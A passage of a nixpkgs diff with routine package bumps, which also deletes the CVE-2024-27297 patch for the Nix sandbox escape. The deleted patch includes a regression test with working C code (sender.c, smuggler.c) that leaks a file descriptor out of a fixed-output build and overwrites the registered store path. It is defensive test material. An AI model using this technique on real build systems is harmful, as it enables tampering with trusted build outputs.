-      ./patches/2_18/CVE-2024-27297.patch
-    ];
+    version = "2.18.2";
+    hash = "sha256-8gNJlBlv2bnffRg0CejiBXc6U/S6YeCLAdHrYvTPyoY=";
   };
 
   nix_2_19 = common {
diff --git a/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
deleted file mode 100644
index 8d110d46a6bb..000000000000
--- a/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
+++ /dev/null
@@ -1,379 +0,0 @@
-From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
-From: Tom Bereknyei <tomberek@gmail.com>
-Date: Fri, 1 Mar 2024 03:42:26 -0500
-Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape
-
-Test that we can't leverage abstract unix domain sockets to leak file
-descriptors out of the sandbox and modify the path after it has been
-registered.
-
-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
----
- flake.nix                          |  2 +
- tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
- tests/nixos/ca-fd-leak/sender.c    | 65 +++++++++++++++++++++
- tests/nixos/ca-fd-leak/smuggler.c  | 66 ++++++++++++++++++++++
- 4 files changed, 223 insertions(+)
- create mode 100644 tests/nixos/ca-fd-leak/default.nix
- create mode 100644 tests/nixos/ca-fd-leak/sender.c
- create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
-
-diff --git a/flake.nix b/flake.nix
-index 230bb6031..4a54c660f 100644
---- a/flake.nix
-+++ b/flake.nix
-@@ -634,6 +634,8 @@
-           ["i686-linux" "x86_64-linux"]
-           (system: runNixOSTestFor system ./tests/nixos/setuid.nix);
- 
-+        tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
-+
- 
-         # Make sure that nix-env still produces the exact same result
-         # on a particular version of Nixpkgs.
-diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
-new file mode 100644
-index 000000000..a6ae72adc
---- /dev/null
-+++ b/tests/nixos/ca-fd-leak/default.nix
-@@ -0,0 +1,90 @@
-+# Nix is a sandboxed build system. But Not everything can be handled inside its
-+# sandbox: Network access is normally blocked off, but to download sources, a
-+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
-+# The detail here is not important, but in our case it means that the hash of
-+# the output has to be known beforehand. And if you know that, you get a few
-+# rights: you no longer run inside a special network namespace!
-+#
-+# Now, Linux has a special feature, that not many other unices do: Abstract
-+# unix domain sockets! Not only that, but those are namespaced using the
-+# network namespace! That means that we have a way to create sockets that are
-+# available in every single fixed-output derivation, and also all processes
-+# running on the host machine! Now, this wouldn't be that much of an issue, as,
-+# well, the whole idea is that the output is pure, and all processes in the
-+# sandbox are killed before finalizing the output. What if we didn't need those
-+# processes at all? Unix domain sockets have a semi-known trick: you can pass
-+# file descriptors around!
-+# This makes it possible to exfiltrate a file-descriptor with write access to
-+# $out outside of the sandbox. And that file-descriptor can be used to modify
-+# the contents of the store path after it has been registered.
-+
-+{ config, ... }:
-+
-+let
-+  pkgs = config.nodes.machine.nixpkgs.pkgs;
-+
-+  # Simple C program that sends a a file descriptor to `$out` to a Unix
-+  # domain socket.
-+  # Compiled statically so that we can easily send it to the VM and use it
-+  # inside the build sandbox.
-+  sender = pkgs.runCommandWith {
-+    name = "sender";
-+    stdenv = pkgs.pkgsStatic.stdenv;
-+  } ''
-+    $CC -static -o $out ${./sender.c}
-+  '';
-+
-+  # Okay, so we have a file descriptor shipped out of the FOD now. But the
-+  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
-+  # lives in a mount namespace where it is not! So even when this file exists
-+  # in the actual Nix store, we're capable of just modifying its contents...
-+  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
-+
-+  # The abstract socket path used to exfiltrate the file descriptor
-+  socketName = "FODSandboxExfiltrationSocket";
-+in
-+{
-+  name = "ca-fd-leak";
-+
-+  nodes.machine =
-+    { config, lib, pkgs, ... }:
-+    { virtualisation.writableStore = true;
-+      nix.settings.substituters = lib.mkForce [ ];
-+      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
-+    };
-+
-+  testScript = { nodes }: ''
-+    start_all()
-+
-+    machine.succeed("echo hello")
-+    # Start the smuggler server
-+    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
-+
-+    # Build the smuggled derivation.
-+    # This will connect to the smuggler server and send it the file descriptor
-+    machine.succeed(r"""
-+      nix-build -E '
-+        builtins.derivation {
-+          name = "smuggled";
-+          system = builtins.currentSystem;
-+          # look ma, no tricks!
-+          outputHashMode = "flat";
-+          outputHashAlgo = "sha256";
-+          outputHash = builtins.hashString "sha256" "hello, world\n";
-+          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
-+          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
-+      }'
-+    """.strip())
-+
-+
-+    # Tell the smuggler server that we're done
-+    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
-+
-+    # Check that the file was not modified
-+    machine.succeed(r"""
-+      cat ./result
-+      test "$(cat ./result)" = "hello, world"
-+    """.strip())
-+  '';
-+
-+}
-diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
-new file mode 100644
-index 000000000..75e54fc8f
---- /dev/null
-+++ b/tests/nixos/ca-fd-leak/sender.c
-@@ -0,0 +1,65 @@
-+#include <sys/socket.h>
-+#include <sys/un.h>
-+#include <stdlib.h>
-+#include <stddef.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <fcntl.h>
-+#include <errno.h>
-+#include <string.h>
-+#include <assert.h>
-+
-+int main(int argc, char **argv) {
-+
-+    assert(argc == 2);
-+
-+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-+
-+    // Set up a abstract domain socket path to connect to.
-+    struct sockaddr_un data;
-+    data.sun_family = AF_UNIX;
-+    data.sun_path[0] = 0;
-+    strcpy(data.sun_path + 1, argv[1]);
-+
-+    // Now try to connect, To ensure we work no matter what order we are
-+    // executed in, just busyloop here.
-+    int res = -1;
-+    while (res < 0) {
-+        res = connect(sock, (const struct sockaddr *)&data,
-+            offsetof(struct sockaddr_un, sun_path)
-+              + strlen(argv[1])
-+              + 1);
-+        if (res < 0 && errno != ECONNREFUSED) perror("connect");
-+        if (errno != ECONNREFUSED) break;
-+    }
-+
-+    // Write our message header.
-+    struct msghdr msg = {0};
-+    msg.msg_control = malloc(128);
-+    msg.msg_controllen = 128;
-+
-+    // Write an SCM_RIGHTS message containing the output path.
-+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-+    hdr->cmsg_len = CMSG_LEN(sizeof(int));
-+    hdr->cmsg_level = SOL_SOCKET;
-+    hdr->cmsg_type = SCM_RIGHTS;
-+    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
-+    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
-+
-+    msg.msg_controllen = CMSG_SPACE(sizeof(int));
-+
-+    // Write a single null byte too.
-+    msg.msg_iov = malloc(sizeof(struct iovec));
-+    msg.msg_iov[0].iov_base = "";
-+    msg.msg_iov[0].iov_len = 1;
-+    msg.msg_iovlen = 1;
-+
-+    // Send it to the othher side of this connection.
-+    res = sendmsg(sock, &msg, 0);
-+    if (res < 0) perror("sendmsg");
-+    int buf;
-+
-+    // Wait for the server to close the socket, implying that it has
-+    // received the commmand.
-+    recv(sock, (void *)&buf, sizeof(int), 0);
-+}
-diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
-new file mode 100644
-index 000000000..82acf37e6
---- /dev/null
-+++ b/tests/nixos/ca-fd-leak/smuggler.c
-@@ -0,0 +1,66 @@
-+#include <sys/socket.h>
-+#include <sys/un.h>
-+#include <stdlib.h>
-+#include <stddef.h>
-+#include <stdio.h>
-+#include <unistd.h>
-+#include <assert.h>
-+
-+int main(int argc, char **argv) {
-+
-+    assert(argc == 2);
-+
-+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-+
-+    // Bind to the socket.
-+    struct sockaddr_un data;
-+    data.sun_family = AF_UNIX;
-+    data.sun_path[0] = 0;
-+    strcpy(data.sun_path + 1, argv[1]);
-+    int res = bind(sock, (const struct sockaddr *)&data,
-+        offsetof(struct sockaddr_un, sun_path)
-+        + strlen(argv[1])
-+        + 1);
-+    if (res < 0) perror("bind");
-+
-+    res = listen(sock, 1);
-+    if (res < 0) perror("listen");
-+
-+    int smuggling_fd = -1;
-+
-+    // Accept the connection a first time to receive the file descriptor.
-+    fprintf(stderr, "%s\n", "Waiting for the first connection");
-+    int a = accept(sock, 0, 0);
-+    if (a < 0) perror("accept");
-+
-+    struct msghdr msg = {0};
-+    msg.msg_control = malloc(128);
-+    msg.msg_controllen = 128;
-+
-+    // Receive the file descriptor as sent by the smuggler.
-+    recvmsg(a, &msg, 0);
-+
-+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-+    while (hdr) {
-+        if (hdr->cmsg_level == SOL_SOCKET
-+          && hdr->cmsg_type == SCM_RIGHTS) {
-+
-+            // Grab the copy of the file descriptor.
-+            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
-+        }
-+
-+        hdr = CMSG_NXTHDR(&msg, hdr);
-+    }
-+    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
-+    close(a);
-+
-+    // Wait for a second connection, which will tell us that the build is
-+    // done
-+    a = accept(sock, 0, 0);
-+    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
-+    // Write a new content to the file
-+    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
-+    char * new_content = "Pwned\n";
-+    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
-+    if (written_bytes != strlen(new_content)) perror("write");
-+}
--- 
-2.42.0
-
-
-From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
-From: Tom Bereknyei <tomberek@gmail.com>
-Date: Fri, 1 Mar 2024 03:45:39 -0500
-Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
- registering them
-
-It is possible to exfiltrate a file descriptor out of the build sandbox
-of FODs, and use it to modify the store path after it has been
-registered.
-To avoid that issue, don't register the output of the build, but a copy
-of it (that will be free of any leaked file descriptor).
-
-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
-Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
----
- src/libstore/build/local-derivation-goal.cc | 6 ++++++
- src/libutil/filesystem.cc                   | 6 ++++++
- src/libutil/util.hh                         | 7 +++++++
- 3 files changed, 19 insertions(+)
-
-diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
-index 64b55ca6a..f1e22f829 100644
---- a/src/libstore/build/local-derivation-goal.cc
-+++ b/src/libstore/build/local-derivation-goal.cc
-@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
-             [&](const DerivationOutput::CAFixed & dof) {
-                 auto & wanted = dof.ca.hash;
- 
-+                // Replace the output by a fresh copy of itself to make sure
-+                // that there's no stale file descriptor pointing to it
-+                Path tmpOutput = actualPath + ".tmp";
-+                copyFile(actualPath, tmpOutput, true);
-+                renameFile(tmpOutput, actualPath);
-+
-                 auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
-                     .method = dof.ca.method,
-                     .hashType = wanted.type,
-diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
-index 11cc0c0e7..2a7787c0e 100644
---- a/src/libutil/filesystem.cc
-+++ b/src/libutil/filesystem.cc
-@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
-     }
- }
- 
-+
-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
-+{
-+    return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
-+}
-+
- void renameFile(const Path & oldName, const Path & newName)
- {
-     fs::rename(oldName, newName);
-diff --git a/src/libutil/util.hh b/src/libutil/util.hh
-index b302d6f45..59d42e0a5 100644
---- a/src/libutil/util.hh
-+++ b/src/libutil/util.hh
-@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
-  */
- void moveFile(const Path & src, const Path & dst);
- 
-+/**
-+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
-+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
-+ * with the guaranty that the destination will be “fresh”, with no stale inode
-+ * or file descriptor pointing to it).
-+ */
-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
- 
- /**
-  * Wrappers arount read()/write() that read/write exactly the
--- 
-2.42.0
-
-
-From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
-From: Tom Bereknyei <tomberek@gmail.com>
-Date: Fri, 1 Mar 2024 04:01:23 -0500
-Subject: [PATCH 3/3] Add release notes
-
-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
----
- doc/manual/src/release-notes/rl-next.md | 8 ++++++++
- 1 file changed, 8 insertions(+)
-
-diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
-index c869b5e2f..f77513385 100644
---- a/doc/manual/src/release-notes/rl-next.md
-+++ b/doc/manual/src/release-notes/rl-next.md
-@@ -1 +1,9 @@
- # Release X.Y (202?-??-??)
-+
-+- Fix a FOD sandbox escape:
-+    Cooperating Nix derivations could send file descriptors to files in the Nix
-+    store to each other via Unix domain sockets in the abstract namespace. This
-+    allowed one derivation to modify the output of the other derivation, after Nix
-+    has registered the path as "valid" and immutable in the Nix database.
-+    In particular, this allowed the output of fixed-output derivations to be
-+    modified from their expected content. This isn't the case any more.
--- 
-2.42.0
-
diff --git a/pkgs/tools/security/cloudfox/default.nix b/pkgs/tools/security/cloudfox/default.nix
index 48d28257d9f4..85777c91be09 100644
--- a/pkgs/tools/security/cloudfox/default.nix
+++ b/pkgs/tools/security/cloudfox/default.nix
@@ -5,16 +5,16 @@
 
 buildGoModule rec {
   pname = "cloudfox";
-  version = "1.13.3";
+  version = "1.13.4";
 
   src = fetchFromGitHub {
     owner = "BishopFox";
-    repo = pname;
+    repo = "cloudfox";
     rev = "refs/tags/v${version}";
-    hash = "sha256-Sq3ARcAK1EFbK6Y+pSCg8ayhVmnEmVQWF0eAiVhJNPs=";
+    hash = "sha256-nN/gSvAwKjfZulqH4caGoJmzlY0ik8JrFReuvYWwZTE=";
   };
 
-  vendorHash = "sha256-qPIMmyKTmZEmxlLLftRMnBXvo22WFROYlCAAsAb7jDg=";
+  vendorHash = "sha256-aRbGBEci3QT1mH+yaOUVynPysJ1za6CaoLGppJaa94c=";
 
   ldflags = [
     "-w"
diff --git a/pkgs/tools/security/cnspec/default.nix b/pkgs/tools/security/cnspec/default.nix
index 38c8813a301c..b02e670666bf 100644
--- a/pkgs/tools/security/cnspec/default.nix
+++ b/pkgs/tools/security/cnspec/default.nix
@@ -5,18 +5,18 @@
 
 buildGoModule rec {
   pname = "cnspec";
-  version = "10.7.1";
+  version = "10.7.3";
 
   src = fetchFromGitHub {
     owner = "mondoohq";
     repo = "cnspec";
     rev = "refs/tags/v${version}";
-    hash = "sha256-i7XZXZuEZasW00HMpwyyS7pxI8hMrx6DZmp39sj1IyI=";
+    hash = "sha256-TFwMquMyHnUGyHGKBrialsDKL5Mubsop1Sudyu/IGjE=";
   };
 
   proxyVendor = true;
 
-  vendorHash = "sha256-B5wwA2S6LiMRBpM6fWaPVubKuOjkdYcffAssSbpLs48=";
+  vendorHash = "sha256-+hlJqcX3cGo/ej5HPPZBZCTUHvB9+/iPTebNKdokLQ0=";
 
   subPackages = [
     "apps/cnspec"
diff --git a/pkgs/tools/security/munge/default.nix b/pkgs/tools/security/munge/default.nix
index fcf9026f215c..01137be20460 100644
--- a/pkgs/tools/security/munge/default.nix
+++ b/pkgs/tools/security/munge/default.nix
@@ -2,13 +2,13 @@
 
 stdenv.mkDerivation rec {
   pname = "munge";
-  version = "0.5.15";
+  version = "0.5.16";
 
   src = fetchFromGitHub {
     owner = "dun";
     repo = "munge";
     rev = "${pname}-${version}";
-    sha256 = "sha256-Ot/oH/RdfPAzoi3P7EYkxS0Fr24KRWfBJxBEWRF0ctI=";
+    sha256 = "sha256-fv42RMUAP8Os33/iHXr70i5Pt2JWZK71DN5vFI3q7Ak=";
   };
 
   strictDeps = true;
diff --git a/pkgs/tools/security/trufflehog/default.nix b/pkgs/tools/security/trufflehog/default.nix
index 5b6868fcc6c8..7486ce9bc099 100644
--- a/pkgs/tools/security/trufflehog/default.nix
+++ b/pkgs/tools/security/trufflehog/default.nix
@@ -7,16 +7,16 @@
 
 buildGoModule rec {
   pname = "trufflehog";
-  version = "3.69.0";
+  version = "3.70.0";
 
   src = fetchFromGitHub {
     owner = "trufflesecurity";
     repo = "trufflehog";
     rev = "refs/tags/v${version}";
-    hash = "sha256-1O1iwZQdC4Vf/mGRauZwg6U52bF28IqCUw8Ugt3USFI=";
+    hash = "sha256-KcJhnev2j4Y7jlIZe2cUgkiJEz5V+oG69SURs5tXCVU=";
   };
 
-  vendorHash = "sha256-c9CkQMTH2mRpKjlyV7lnNyKQYgPxEP9adHcSh9qsWYk=";
+  vendorHash = "sha256-oJ5aPffmBDCJ6cD2nG1Q5w+R6LV6oDf4v9hIWN9jNdc=";
 
   ldflags = [
     "-s"
diff --git a/pkgs/tools/text/vale/default.nix b/pkgs/tools/text/vale/default.nix
index f5e02eef3924..cbc2893b1304 100644
--- a/pkgs/tools/text/vale/default.nix
+++ b/pkgs/tools/text/vale/default.nix
@@ -30,6 +30,7 @@ buildGoModule rec {
     description = "A syntax-aware linter for prose built with speed and extensibility in mind";
     homepage = "https://vale.sh/";
     changelog = "https://github.com/errata-ai/vale/releases/tag/v${version}";
+    mainProgram = "vale";
     license = licenses.mit;
     maintainers = [ maintainers.marsam ];
   };
diff --git a/pkgs/tools/wayland/wleave/default.nix b/pkgs/tools/wayland/wleave/default.nix
index 94fd6e123792..d06954d10f1e 100644
--- a/pkgs/tools/wayland/wleave/default.nix
+++ b/pkgs/tools/wayland/wleave/default.nix
@@ -12,16 +12,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "wleave";
-  version = "0.3.2";
+  version = "0.4.0";
 
   src = fetchFromGitHub {
     owner = "AMNatty";
     repo = "wleave";
     rev = version;
-    hash = "sha256-RMUwsrDvSErNbulpyJyRSB1NIsG706SCvF50t3VKuWA=";
+    hash = "sha256-FAtAFoPLJsWSFkc5CB90wlI2tvDmoOQ8fHQ8LWQgDww=";
   };
 
-  cargoHash = "sha256-E7Lw7HIZC8j/1H+M9lfglfMkWDeaAL505qCkj+CV7Ik=";
+  cargoHash = "sha256-MV3mzRrOnHwmJUW3o/PM3g3SY6Hpy1LRpxDcL0hAm2Y=";
 
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 08e511352b7d..bf48bcda641c 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -111,6 +111,7 @@ mapAliases ({
     lib.warn "blender-with-packages is deprecated in favor of blender.withPackages, e.g. `blender.withPackages(ps: [ ps.foobar ])`"
       (blender.withPackages (_: args.packages)).overrideAttrs
       (lib.optionalAttrs (args ? name) { pname = "blender-" + args.name; }); # Added 2023-10-30
+  blockbench-electron = blockbench; # Added 2024-03-16
   bluezFull = throw "'bluezFull' has been renamed to/replaced by 'bluez'"; # Converted to throw 2023-09-10
   bookletimposer = throw "bookletimposer has been removed from nixpkgs; upstream unmaintained and broke with pypdf3"; # Added 2024-01-01
   boost168 = throw "boost168 has been deprecated in favor of the latest version"; # Added 2023-06-08
@@ -489,6 +490,7 @@ mapAliases ({
   imagemagick7 = imagemagick; # Added 2021-02-22
   imagemagick7_light = imagemagick_light; # Added 2021-02-22
   imlib = throw "imlib has been dropped due to the lack of maintenance from upstream since 2004"; # Added 2023-01-04
+  indiepass-desktop = throw "indiepass-desktop has been dropped because it does not work with recent Electron versions"; # Added 2024-03-14
   indigenous-desktop = throw "'indigenous-desktop' has been renamed to/replaced by 'indiepass-desktop'"; # Added 2023-11-08
   instead-launcher = throw "instead-launcher has been removed, because it depended on qt4"; # Added 2023-07-26
   insync-v3 = throw "insync-v3 has been merged into the insync package; use insync instead"; #Added 2023-05-13
@@ -1139,6 +1141,7 @@ mapAliases ({
   tdesktop = telegram-desktop; # Added 2023-04-07
   telegram-cli = throw "telegram-cli was removed because it was broken and abandoned upstream"; # Added 2023-07-28
   teleport_11 = throw "teleport 11 has been removed as it is EOL. Please upgrade to Teleport 12 or later"; # Added 2023-11-27
+  teleprompter = throw "teleprompter has been removed. reason: upstream dead and does not work with recent electron versions"; # Adedd 2024-03-14
   tensile = throw "'tensile' has been replaced with 'rocmPackages.tensile'"; # Added 2023-10-08
   testVersion = testers.testVersion; # Added 2022-04-20
   tfplugindocs = terraform-plugin-docs; # Added 2023-11-01
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index f201390b6801..50c4c1afa203 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -1085,6 +1085,8 @@ with pkgs;
 
   ruler = callPackage ../tools/security/ruler { };
 
+  magika = with python3Packages; toPythonApplication magika;
+
   mblock-mlink = callPackage ../development/tools/mblock-mlink { };
 
   mod = callPackage ../development/tools/mod { };
@@ -3553,8 +3555,6 @@ with pkgs;
 
   blackmagic-desktop-video = callPackage ../tools/video/blackmagic-desktop-video { };
 
-  blockbench-electron = callPackage ../applications/graphics/blockbench-electron { };
-
   blocksat-cli = with python3Packages; toPythonApplication blocksat-cli;
 
   bmap-tools = callPackage ../tools/misc/bmap-tools { };
@@ -5631,8 +5631,6 @@ with pkgs;
   hypr = callPackage ../applications/window-managers/hyprwm/hypr {
     cairo = cairo.override { xcbSupport = true; };  };
 
-  hyprdim = callPackage ../applications/misc/hyprdim { };
-
   hyprland = callPackage ../applications/window-managers/hyprwm/hyprland {
     wlroots = callPackage ../applications/window-managers/hyprwm/hyprland/wlroots.nix { };
     udis86 = callPackage ../applications/window-managers/hyprwm/hyprland/udis86.nix { };
@@ -5644,8 +5642,6 @@ with pkgs;
 
   hyprland-protocols = callPackage ../applications/window-managers/hyprwm/hyprland-protocols { };
 
-  hyprnome = callPackage ../applications/misc/hyprnome { };
-
   hyprpaper = callPackage ../applications/window-managers/hyprwm/hyprpaper { };
 
   hyprpicker = callPackage ../applications/window-managers/hyprwm/hyprpicker {
@@ -18268,7 +18264,8 @@ with pkgs;
     electron_25-bin
     electron_26-bin
     electron_27-bin
-    electron_28-bin;
+    electron_28-bin
+    electron_29-bin;
 
   electron_10 = electron_10-bin;
   electron_11 = electron_11-bin;
@@ -18289,7 +18286,7 @@ with pkgs;
   electron_26 = electron_26-bin;
   electron_27 = if lib.meta.availableOn stdenv.hostPlatform electron-source.electron_27 then electron-source.electron_27 else electron_27-bin;
   electron_28 = if lib.meta.availableOn stdenv.hostPlatform electron-source.electron_28 then electron-source.electron_28 else electron_28-bin;
-  electron_29 = electron-source.electron_29;
+  electron_29 = if lib.meta.availableOn stdenv.hostPlatform electron-source.electron_29 then electron-source.electron_29 else electron_29-bin;
   electron = electron_29;
 
   autobuild = callPackage ../development/tools/misc/autobuild { };
@@ -24463,7 +24460,7 @@ with pkgs;
 
   rlottie = callPackage ../development/libraries/rlottie { };
 
-  rocksdb = pin-to-gcc12-if-gcc13 (callPackage ../development/libraries/rocksdb { });
+  rocksdb = callPackage ../development/libraries/rocksdb { };
 
   rocksdb_7_10 = rocksdb.overrideAttrs rec {
     pname = "rocksdb";
@@ -26101,7 +26098,9 @@ with pkgs;
   grafana = callPackage ../servers/monitoring/grafana { };
   grafanaPlugins = callPackages ../servers/monitoring/grafana/plugins { };
 
-  grafana-agent = callPackage ../servers/monitoring/grafana-agent { };
+  grafana-agent = callPackage ../servers/monitoring/grafana-agent {
+    buildGoModule = buildGo122Module;
+  };
 
   grafana-loki = callPackage ../servers/monitoring/loki { };
   promtail = callPackage ../servers/monitoring/loki/promtail.nix { };
@@ -32063,10 +32062,6 @@ with pkgs;
 
   hypnotix = callPackage ../applications/video/hypnotix { };
 
-  indiepass-desktop = callPackage ../by-name/in/indiepass-desktop/package.nix {
-    electron = electron_19;
-  };
-
   jackline = callPackage ../applications/networking/instant-messengers/jackline {
     ocamlPackages = ocaml-ng.ocamlPackages_4_14;
   };
@@ -35245,8 +35240,6 @@ with pkgs;
 
   telepathy-idle = callPackage ../applications/networking/instant-messengers/telepathy/idle { };
 
-  teleprompter = callPackage ../applications/misc/teleprompter { };
-
   tempo = callPackage ../servers/tracing/tempo { };
 
   temporal = callPackage ../applications/networking/cluster/temporal { };
@@ -37837,8 +37830,6 @@ with pkgs;
 
   srb2 = callPackage ../games/srb2 { };
 
-  srb2kart = callPackage ../games/srb2kart { };
-
   ssl-cert-check = callPackage ../tools/admin/ssl-cert-check { };
 
   stardust = callPackage ../games/stardust { };
@@ -38666,7 +38657,9 @@ with pkgs;
 
   getdp = callPackage ../applications/science/math/getdp { };
 
-  gurobi = callPackage ../applications/science/math/gurobi { };
+  gurobi = callPackage ../applications/science/math/gurobi {
+    python3 = python310;
+  };
 
   jags = callPackage ../applications/science/math/jags { };
 
diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix
index 1a040f052c71..afcec5061a36 100644
--- a/pkgs/top-level/linux-kernels.nix
+++ b/pkgs/top-level/linux-kernels.nix
@@ -713,6 +713,5 @@ in {
     '';
   };
 
-  buildLinux = attrs: callPackage ../os-specific/linux/kernel/generic.nix attrs;
-
+  buildLinux = callPackage ../os-specific/linux/kernel/generic.nix {};
 }
diff --git a/pkgs/top-level/python-aliases.nix b/pkgs/top-level/python-aliases.nix
index c10b48c8421a..96fccb3f3ecc 100644
--- a/pkgs/top-level/python-aliases.nix
+++ b/pkgs/top-level/python-aliases.nix
@@ -302,7 +302,6 @@ mapAliases ({
   pam = python-pam; # added 2020-09-07.
   PasteDeploy = pastedeploy; # added 2021-10-07
   pathpy = path; # added 2022-04-12
-  paypalrestsdk = throw "paypalrestsdk was removed, the upstream repo was archived back in 2020"; # Added 2023-11-25
   pdfposter = throw "pdfposter was promoted to a top-level attribute"; # Added 2023-06-29
   pdfminer = pdfminer-six; # added 2022-05-25
   pep257 = pydocstyle; # added 2022-04-12
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index 19a56ac7ff08..0d2c33cfaf94 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -2527,7 +2527,7 @@ self: super: with self; {
 
   css-inline = callPackage ../development/python-modules/css-inline {
     inherit (pkgs.darwin) libiconv;
-    inherit (pkgs.darwin.apple_sdk.frameworks) Security;
+    inherit (pkgs.darwin.apple_sdk.frameworks) Security SystemConfiguration;
   };
 
   css-parser = callPackage ../development/python-modules/css-parser { };
@@ -6911,6 +6911,8 @@ self: super: with self; {
 
   magic-wormhole-transit-relay = callPackage ../development/python-modules/magic-wormhole-transit-relay { };
 
+  magika = callPackage ../development/python-modules/magika { };
+
   mahotas = callPackage ../development/python-modules/mahotas { };
 
   mailcap-fix = callPackage ../development/python-modules/mailcap-fix { };
@@ -9288,6 +9290,8 @@ self: super: with self; {
 
   paypalhttp = callPackage ../development/python-modules/paypalhttp { };
 
+  paypalrestsdk = callPackage ../development/python-modules/paypalrestsdk { };
+
   pbkdf2 = callPackage ../development/python-modules/pbkdf2 { };
 
   pbr = callPackage ../development/python-modules/pbr { };
@@ -16345,6 +16349,8 @@ self: super: with self; {
 
   wallbox = callPackage ../development/python-modules/wallbox { };
 
+  wallet-py3k = callPackage ../development/python-modules/wallet-py3k { };
+
   walrus = callPackage ../development/python-modules/walrus { };
 
   wand = callPackage ../development/python-modules/wand { };
diff --git a/pkgs/top-level/ruby-packages.nix b/pkgs/top-level/ruby-packages.nix
index 267d79607f13..232c48c739b1 100644
--- a/pkgs/top-level/ruby-packages.nix
+++ b/pkgs/top-level/ruby-packages.nix
@@ -5,10 +5,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "052k2zx8fvm6g2x0ylfhrlhif98vv98xsxgihhknh9d2w4j6ywqg";
+      sha256 = "0ifiz4nd6a34z2n8lpdgvlgwziy2g364b0xzghiqd3inji0cwqp1";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   actionmailbox = {
     dependencies = ["actionpack" "activejob" "activerecord" "activestorage" "activesupport" "mail" "net-imap" "net-pop" "net-smtp"];
@@ -16,10 +16,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "083p1yd52p60fqrbx29yp5kia42mljhylvbpnmwxkxb65lxmibzw";
+      sha256 = "1adqnf5zc4fdr71ykxdv5b50h7n4xfvrc0qcgwmgidi0cxkzx4r4";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   actionmailer = {
     dependencies = ["actionpack" "actionview" "activejob" "activesupport" "mail" "net-imap" "net-pop" "net-smtp" "rails-dom-testing"];
@@ -27,10 +27,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1329z1vz01isncgkqzh2xqncf2y7hzz1gw0rqbxama323iwrv7nz";
